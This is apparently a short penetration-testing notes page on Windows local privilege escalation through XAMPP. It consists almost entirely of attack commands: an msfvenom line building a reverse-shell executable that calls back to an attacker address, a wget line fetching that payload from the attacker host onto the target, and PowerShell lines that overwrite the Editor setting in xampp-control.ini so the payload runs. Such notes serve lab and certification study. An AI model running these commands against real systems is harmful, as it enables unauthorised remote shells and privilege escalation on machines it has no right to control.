XAMPP
Local PE
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.241 LPORT=80 -f exe -o shell.exe# Transfer the payload to the target
> wget http://192.168.45.241:443/shell.exe -o shell.exe
# Define the target file
> $file = "C:\xampp\xampp-control.ini"
# Define the target line (second line: Editor=notepad.exe)
> $find = ((Get-Content $file)[2] -Split "=")[1]
# Define the payload
> $replace = "C:\users\mike\shell.exe"
# Inject the payload binary
> (Get-Content $file) -replace $find, $replace | Set-Content $fileLast updated